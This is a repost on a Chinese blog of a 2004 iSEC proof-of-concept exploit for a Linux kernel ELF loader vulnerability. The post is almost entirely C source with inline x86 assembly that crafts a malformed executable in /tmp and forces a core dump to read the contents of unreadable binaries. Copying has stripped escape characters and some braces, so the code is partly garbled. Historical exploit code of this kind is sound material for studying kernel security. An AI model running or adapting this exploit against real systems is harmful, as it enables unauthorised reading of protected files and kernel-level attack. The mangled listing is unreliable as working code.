zoukankan      html  css  js  c++  java
  • [zz]linux elf loader漏洞

     

    Linux Kernel ELF Binary Loader Local Proof of Concept

    http://forum.eviloctal.com/thread-4414-1-1.html

    http://www.sudu.cn/info/html/edu/20050104/198595.html

    /* 

    *binfmt_elf executable file read vulnerability 

    *gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump 

    *Copyright (c) 2004  iSEC Security Research. All Rights Reserved. 

    *THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 
    *AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 
    *WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 

    *         [url]http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt[/url] 
    */ 



    #include <stdio.h> 
    #include <stdlib.h> 
    #include <string.h> 
    #include <fcntl.h> 
    #include <unistd.h> 

    #include <sys/types.h> 
    #include <sys/resource.h> 
    #include <sys/wait.h> 

    #include <linux/elf.h> 


    #define BADNAME "/tmp/_elf_dump" 



    void usage(char *s) 

    printf("nUsage: %s executablenn", s); 
    exit(0); 


    //ugly mem scan code :-) 
    static volatile void bad_code(void) 

    __asm__( 
    //"1:jmp 1b n" 
    "xorl%edi, %edin" 
    "movl%esp, %esin" 
    "xorl%edx, %edxn" 
    "xorl%ebp, %ebpn" 
    "callget_addrn" 

    "movl%esi, %espn" 
    "movl%edi, %ebpn" 
    "jmpinst_sign" 

    "get_addr:popl%ecxn" 

    //sighand 
    "inst_sig:xorl%eax, %eaxn" 
    "movl$11, %ebxn" 
    "movb$48, %aln" 
    "int$0x80n" 

    "ld_page:movl%ebp, %eaxn" 
    "subl%edx, %eaxn" 
    "cmpl$0x1000, %eaxn" 
    "jleld_page2n" 

    //mprotect 
    "pushan" 
    "movl%edx, %ebxn" 
    "addl $0x1000, %ebxn" 
    "movl%eax, %ecxn" 
    "xorl%eax, %eaxn" 
    "movb$125, %aln" 
    "movl$7, %edxn" 
    "int$0x80n" 
    "popan" 

    "ld_page2:addl$0x1000, %edin" 
    "cmpl$0xc0000000, %edin" 
    "jedumpn" 
    "movl%ebp, %edxn" 
    "movl(%edi), %eaxn" 
    "jmpld_pagen" 

    "dump:xorl%eax, %eaxn" 
    "xorl%ecx, %ecxn" 
    "movl$11, %ebxn" 
    "movb$48, %aln" 
    "int$0x80n" 
    "movl$0xdeadbeef, %eaxn" 
    "jmp*(%eax)n" 

    ); 



    static volatile void bad_code_end(void) 




    int main(int ac, char **av) 

    struct elfhdr eh; 
    struct elf_phdr eph; 
    struct rlimit rl; 
    int fd, nl, pid; 

    if(ac<2) 
    usage(av[0]); 

    //make bad a.out 
    fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); 
    nl = strlen(av[1])+1; 
    memset(&eh, 0, sizeof(eh) ); 

    //elf exec header 
    memcpy(eh.e_ident, ELFMAG, SELFMAG); 
    eh.e_type = ET_EXEC; 
    eh.e_machine = EM_386; 
    eh.e_phentsize = sizeof(struct elf_phdr); 
    eh.e_phnum = 2; 
    eh.e_phoff = sizeof(eh); 
    write(fd, &eh, sizeof(eh) ); 

    //section header(s) 
    memset(&eph, 0, sizeof(eph) ); 
    eph.p_type = PT_INTERP; 
    eph.p_offset = sizeof(eh) + 2*sizeof(eph); 
    eph.p_filesz = nl; 
    write(fd, &eph, sizeof(eph) ); 

    memset(&eph, 0, sizeof(eph) ); 
    eph.p_type = PT_LOAD; 
    eph.p_offset = 4096; 
    eph.p_filesz = 4096; 
    eph.p_vaddr = 0x0000; 
    eph.p_flags = PF_R|PF_X; 
    write(fd, &eph, sizeof(eph) ); 

    //.interp 
    write(fd, av[1], nl ); 

    //execable code 
    nl = &bad_code_end - &bad_code; 
    lseek(fd, 4096, SEEK_SET); 
    write(fd, &bad_code, 4096); 
    close(fd); 

    //dump the shit 
    rl.rlim_cur = RLIM_INFINITY; 
    rl.rlim_max = RLIM_INFINITY; 
    if( setrlimit(RLIMIT_CORE, &rl) ) 
    perror("nsetrlimit failed"); 
    fflush(stdout); 
    pid = fork(); 
    if(pid) 
    wait(NULL); 
    else 
    execl(BADNAME, BADNAME, NULL); 

    printf("ncore dumped!nn"); 
    unlink(BADNAME); 

    return 0; 
    }

  • 相关阅读:
    pyenv: python2.7: command not found The `python2.7' command exists in these Python versions: 2.7.5
    Gazebo_02_build_a_robot
    Gazebo_01_getting_start
    vscode等编辑器中报Exception has occurred: ModuleNotFoundError No module named 'requests'
    Ubuntu16.04安装Python3.8以后出现lsb_release/No LSB modules are available的错误
    C语言字符串定义(数组&指针)
    电脑软件更新管理
    VS2017自定义新建模板
    《SQL必知必会-第四版》--学习摘抄
    实体类封装数据库查询信息(工具一)
  • 原文地址:https://www.cnblogs.com/moonflow/p/2623051.html
Copyright © 2011-2022 走看看